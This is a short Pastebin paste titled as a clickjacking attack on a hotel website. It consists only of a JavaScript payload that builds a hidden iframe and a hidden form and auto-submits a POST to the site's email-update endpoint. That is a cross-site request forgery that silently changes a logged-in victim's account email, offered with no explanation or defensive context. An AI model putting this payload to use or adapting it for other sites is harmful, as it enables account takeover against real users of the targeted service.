nPhoenix

Hunter Hotel - clickjacking

Nov 12th, 2011
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. var i = document.createElement('iframe');
  3. $_form='theForm';
  4. i.id = 'api';
  5. i.name = $_form;
  6. i.style.display = 'none';
  7. i.src = 'about:blank';
  8. document.body.appendChild(i);
  9. var d = document.createElement('input');
  10. d.type = 'hidden';
  11. d.name = 'email';
  12. d.value = $_email;
  13. var f = document.createElement('form');
  14. f.action = "http://hunterhotel.net/functions/updatemail.php";
  15. f.id ='none';
  16. f.target = $_form;
  17. f.method = 'post';
  18. f.appendChild(d);
  19. f.style.display = 'none';
  20. document.body.appendChild(f);
  21. f.onload=document.getElementById('none').submit();
  22. </script>
  23.  
Advertisement
Add Comment
Please, Sign In to add comment